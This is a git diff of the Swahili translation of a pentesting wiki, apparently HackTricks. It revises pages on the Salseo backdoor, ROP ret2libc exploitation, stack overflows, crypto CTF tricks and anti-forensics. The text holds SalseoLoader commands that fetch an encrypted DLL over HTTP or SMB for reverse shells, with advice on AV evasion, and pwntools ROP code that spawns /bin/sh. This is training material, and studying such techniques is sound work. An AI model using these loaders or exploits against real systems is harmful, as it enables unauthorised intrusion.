diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # đŸ“± Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 03fd68e13..7d98cdfdc 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Kuunda binaries +## Compiling the binaries Pakua msimbo wa chanzo kutoka github na uunde **EvilSalsa** na **SalseoLoader**. Utahitaji **Visual Studio** iliyosakinishwa ili kuunda msimbo huo. -Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo unakusudia kuyatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo). +Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo utatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo). Unaweza **kuchagua usanifu** ndani ya Visual Studio katika **"Build" Tab** ya kushoto katika **"Platform Target".** -(\*\*Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\ Properties"**) +(**Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\ Properties"**) ![](<../images/image (132).png>) @@ -18,9 +18,9 @@ Kisha, jenga miradi yote miwili (Build -> Build Solution) (Ndani ya logi zitaone ![](<../images/image (1) (2) (1) (1) (1).png>) -## Andaa Backdoor +## Prepare the Backdoor -Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia script ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**: +Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia skripti ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**: ### **Python** ``` @@ -32,15 +32,15 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **encoded EvilDalsa.dll** na **binary ya SalseoLoader.** +Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **EvilDalsa.dll iliyosimbwa** na **binary ya SalseoLoader.** **Pakia binary ya SalseoLoader.exe kwenye mashine. Hazipaswi kugundulika na AV yoyote...** ## **Tekeleza backdoor** -### **Kupata TCP reverse shell (kupakua dll iliyosimbwa kupitia HTTP)** +### **Kupata shell ya TCP reverse (kupakua dll iliyosimbwa kupitia HTTP)** -Kumbuka kuanzisha nc kama msikilizaji wa reverse shell na seva ya HTTP kutoa evilsalsa iliyosimbwa. +Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse na seva ya HTTP kutoa evilsalsa iliyosimbwa. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` @@ -50,7 +50,7 @@ Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse, na seva ya SMB kutoa ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Kupata shell ya ICMP reverse (dll iliyokodishwa tayari ndani ya mwathirika)** +### **Kupata shell ya ICMP reverse (dll iliyosimbwa tayari ndani ya mwathirika)** **Wakati huu unahitaji chombo maalum kwenye mteja kupokea shell ya reverse. Pakua:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) @@ -83,7 +83,7 @@ Fungua mradi wa SalseoLoader ukitumia Visual Studio. ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Tafuta kifurushi cha DllExport (ukitumia kichupo cha Browse), na bonyeza Sakinisha (na kubali popup)** +#### **Tafuta kifurushi cha DllExport (ukitumia tab ya Kagua), na bonyeza Sakinisha (na kubali popup)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index c5324b53f..36bce89e4 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -5,9 +5,9 @@ ## Muhtasari wa Haraka 1. **Pata** overflow **offset** -2. **Pata** gadget ya `POP_RDI`, gadget za `PUTS_PLT` na `MAIN` +2. **Pata** gadget ya `POP_RDI`, `PUTS_PLT` na gadget za `MAIN` 3. Tumia gadget za awali ku **onyesha anwani ya kumbukumbu** ya puts au kazi nyingine ya libc na **pata toleo la libc** ([donwload it](https://libc.blukat.me)) -4. Pamoja na maktaba, **hesabu ROP na uifanye** +4. Pamoja na maktaba, **hesabu ROP na uitumie** ## Miongozo mingine na binaries za kufanya mazoezi @@ -57,7 +57,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Tekeleza** `python template.py` itafungua GDB console na programu itakuwa imeanguka. Ndani ya **GDB console** tekeleza `x/wx $rsp` kupata **bytes** ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata **offset** ukitumia **python** console: +**Tekeleza** `python template.py` konso ya GDB itafunguliwa na programu itakuwa inakabiliwa na ajali. Ndani ya **konso ya GDB** tekeleza `x/wx $rsp` ili kupata **bytes** ambazo zilikuwa zinaenda kufunika RIP. Hatimaye pata **offset** ukitumia konso ya **python**: ```python from pwn import * cyclic_find(0x6161616b) @@ -71,7 +71,7 @@ Njia nyingine ingekuwa kutumia: `pattern create 1000` -- _tekeleza hadi ret_ -- ## 2- Kupata Gadgets -Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**. +Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa na manufaa kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -88,9 +88,9 @@ The **POP_RDI** inahitajika **kupitisha** **parameter** kwa function iliyoitwa. Katika hatua hii huwezi kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji. -## 3- Kutafuta maktaba ya libc +## 3- Kupata maktaba ya libc -Sasa ni wakati wa kutafuta ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani ambayo toleo la puts liko katika anwani hiyo. +Sasa ni wakati wa kupata ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani toleo la puts liko katika anwani hiyo. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -124,7 +124,7 @@ Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Hii itatuma baadhi ya bytes hadi **kuandika** **RIP** iwezekanavyo: `OFFSET`.\ -Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayoelekezwa na `PUTS_GOT`.\ +Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayotolewa na `PUTS_GOT`.\ Baada ya hapo, `PUTS_PLT` itaitwa (ikiwa na `PUTS_GOT` ndani ya **RDI**) ili puts **isome maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts katika kumbukumbu**) na it **ichapishe**.\ Hatimaye, **kazi ya main inaitwa tena** ili tuweze kutumia overflow tena. @@ -132,7 +132,7 @@ Kwa njia hii tumem **danganya kazi ya puts** ili **ichapishe** **anwani** katika ![](<../../../../images/image (1049).png>) -Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kubaini ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\ +Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kujua ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\ Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata: ### 3.1- Kutafuta toleo la libc (1) @@ -156,7 +156,7 @@ Ili hii ifanye kazi tunahitaji: - Jina la alama ya Libc: `puts` - Anwani ya libc iliyovuja: `0x7ff629878690` -Tunaweza kubaini ni **libc** ipi ambayo ina uwezekano mkubwa inatumika. +Tunaweza kubaini ni **libc** ipi ambayo inawezekana inatumika. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) @@ -183,13 +183,13 @@ gets ``` ## 4- Kupata anwani ya libc kulingana na msingi & kutumia -Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6` +Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6` Hivyo, mwanzoni mwa `template.py` badilisha **libc** variable kuwa: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -Kutoa **path** kwa **maktaba ya libc** sehemu nyingine ya **exploit itahesabiwa kiotomatiki**. +Kutoa **path** kwa **maktaba ya libc** sehemu nyingine ya **exploit itakuwa inakokotwa kiotomatiki**. -Ndani ya `get_addr`function **anwani ya msingi ya libc** itahesabiwa: +Ndani ya `get_addr`function **anwani ya msingi ya libc** itakokotwa: ```python if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base @@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > Kumbuka kwamba **anwani ya mwisho ya msingi ya libc lazima iishe na 00**. Ikiwa hiyo si hali yako unaweza kuwa umepata maktaba isiyo sahihi. -Basi, anwani ya kazi `system` na **anwani** ya mfuatano _"/bin/sh"_ zitakuwa **zinahesabiwa** kutoka kwa **anwani ya msingi** ya **libc** na kutolewa kwa **maktaba ya libc.** +Kisha, anwani ya kazi `system` na **anwani** ya mfuatano _"/bin/sh"_ zitakuwa **zinahesabiwa** kutoka kwa **anwani ya msingi** ya **libc** na kutolewa kwa **maktaba ya libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -218,26 +218,26 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Hebu tueleze hii ROP ya mwisho.\ -ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi ya main, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameter.\ +ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi kuu, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapewa kama parameter.\ Hatimaye, **anwani ya kazi ya exit** inaitwa ili mchakato **uondoke vizuri** na tahadhari yoyote itazalishwa. -**Kwa njia hii exploit itatekeleza \_/bin/sh**\_\*\* shell.\*\* +**Hivi ndivyo exploit itatekeleza _/bin/sh_ shell.** ![](<../../../../images/image (165).png>) ## 4(2)- Kutumia ONE_GADGET Unaweza pia kutumia [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kupata shell badala ya kutumia **system** na **"/bin/sh". ONE_GADGET** itapata ndani ya maktaba ya libc njia fulani ya kupata shell kwa kutumia tu **anwani moja ya ROP**.\ -Hata hivyo, kawaida kuna baadhi ya vizuizi, zile za kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo. +Hata hivyo, kawaida kuna vikwazo fulani, ambavyo ni vya kawaida na rahisi kuepukwa ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka kikwazo. ![](<../../../../images/image (754).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` -## FAILI LA KUVUNJA +## FAILI LA KUTUMIA -Unaweza kupata kiolezo cha kutumia udhaifu huu hapa: +Unaweza kupata kigezo cha kutumia udhaifu huu hapa: {{#ref}} rop-leaking-libc-template.md @@ -247,13 +247,13 @@ rop-leaking-libc-template.md ### MAIN_PLT = elf.symbols\['main'] haipatikani -Ikiwa alama "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu: +Ikiwa alama ya "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` -na weka anwani kwa mikono: +na kuweka anwani kwa mikono: ```python MAIN_PLT = 0x401080 ``` @@ -263,7 +263,7 @@ Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia ### `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani` -Ikiwa utapata **kosa** hili baada ya kuunda **zote** exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani` +Ikiwa unapata **kosa** hili baada ya kuunda **yote** ya exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani` Jaribu **kupunguza byte 64 kutoka anwani ya "/bin/sh"**: ```python diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index dcad0d092..a37cadf2b 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -10,7 +10,7 @@ Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/R Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack. -Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kigezo cha urefu**, zinaweza kutumika kwa njia hatarishi ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa. +Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa. Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu: ```c @@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer); Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa la `A`s (kwa mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**. -Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu \_n**\_\*\* inaonekana mara moja tu\*\* kama subsequence iliyo karibu. +Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu. Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo. @@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp ## Kutumia Stack Overflows Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\ -Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki. +Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobaini** katika kiashiria hiki. -Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** kunaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF). +Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF). ### Ret2win -Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa ajili ya changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa: +Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haitaitwa kamwe** na ambayo **unahitaji kuitwa ili kushinda**. Kwa changamoto hizi unahitaji tu kupata **offset ya kuandika upya anwani ya kurudi** na **kupata anwani ya kazi** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa: {{#ref}} ret2win/ @@ -71,9 +71,9 @@ Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EI stack-shellcode/ {{#endref}} -### ROP & Ret2... mbinu +### ROP & Ret2... techniques -Mbinu hii ni muundo wa msingi wa kupita ulinzi mkuu wa mbinu ya awali: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary: +Teknolojia hii ni muundo wa msingi wa kupita ulinzi mkuu wa teknolojia ya awali: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary: {{#ref}} ../rop-return-oriented-programing/ diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index 3bc27283e..266a16334 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -184,15 +184,15 @@ Herufi kwa thamani yao ya nambari ``` ### Affine Cipher Encode -Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi +Herufi hadi nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi ``` krodfdudfrod ``` ### SMS Code -**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na nambari husika kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\ +**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na msimbo wa funguo unaolingana kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\ Kwa mfano: 2=A, 22=B, 222=C, 3=D...\ -Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazojirudia\*\*. +Unaweza kutambua msimbo huu kwa sababu utaona **nambari kadhaa zinazojirudia**. Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) @@ -225,7 +225,7 @@ fgaargaamnlunesuneoa ``` ### Vigenere -Inahitajika neno muhimu +Inahitajika neno la ufunguo ``` wodsyoidrods ``` @@ -237,7 +237,7 @@ wodsyoidrods ### Fernet -2 base64 strings (token na ufunguo) +2 mfuatano wa base64 (token na ufunguo) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 07d0f53e7..8239161a7 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Sehemu kubwa ya data iliyokodishwa inaweza kufichuliwa kwa kutumia rasilimali hizi 2: +Sehemu kubwa ya data iliyokodishwa inaweza kufutwa na rasilimali hizi 2: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -120,11 +120,13 @@ Angalia hizi zote za msingi na: [https://github.com/dhondta/python-codext](https ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) + ### Morse ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Kufa: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder ``` @@ -152,6 +154,8 @@ end ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` +- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) + ### BinHex ``` (This file must be converted with BinHex 4.0) @@ -180,7 +184,7 @@ Herufi kwa thamani yao ya nambari ``` ### Affine Cipher Encode -Herufi hadi nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi +Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi ``` krodfdudfrod ``` @@ -188,7 +192,7 @@ krodfdudfrod **Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na msimbo wa funguo unaolingana kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\ Kwa mfano: 2=A, 22=B, 222=C, 3=D...\ -Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazojirudia\*\*. +Unaweza kutambua msimbo huu kwa sababu utaona **nambari kadhaa zinazojirudia**. Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) @@ -205,7 +209,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ## Compression -**Raw Deflate** na **Raw Inflate** (unaweza kupata zote mbili katika Cyberchef) zinaweza kubana na kufungua data bila vichwa. +**Raw Deflate** na **Raw Inflate** (unaweza kuzipata zote katika Cyberchef) zinaweza kubana na kufungua data bila vichwa. ## Easy Crypto @@ -215,13 +219,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -Inahitajika neno la ufunguo +Neno la ufunguo linahitajika ``` fgaargaamnlunesuneoa ``` ### Vigenere -Inahitajika neno muhimu +Inahitajika neno la ufunguo ``` wodsyoidrods ``` @@ -233,7 +237,7 @@ wodsyoidrods ### Fernet -2 base64 strings (token na ufunguo) +2 mfuatano wa base64 (token na ufunguo) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index d7f407a7d..11788ba9b 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -3,7 +3,7 @@ # Timestamps Mshambuliaji anaweza kuwa na hamu ya **kubadilisha timestamps za faili** ili kuepuka kugunduliwa.\ -Inawezekana kupata timestamps ndani ya MFT katika sifa `$STANDARD_INFORMATION` ** na ** `$FILE_NAME`. +Inawezekana kupata timestamps ndani ya MFT katika sifa `$STANDARD_INFORMATION`**na**`$FILE_NAME`. Sifa zote zina timestamps 4: **Modification**, **access**, **creation**, na **MFT registry modification** (MACE au MACB). @@ -11,7 +11,7 @@ Sifa zote zina timestamps 4: **Modification**, **access**, **creation**, na **MF ## TimeStomp - Anti-forensic Tool -Zana hii **inasanifu** taarifa za timestamp ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**. +Zana hii **inabadilisha** taarifa za timestamp ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**. ## Usnjrnl @@ -23,13 +23,13 @@ Picha ya awali ni **matokeo** yanayoonyeshwa na **zana** ambapo inaonekana kuwa ## $LogFile -**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka kuu ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko. +**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya mzizi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko. ![](<../../images/image (450).png>) Tena, katika 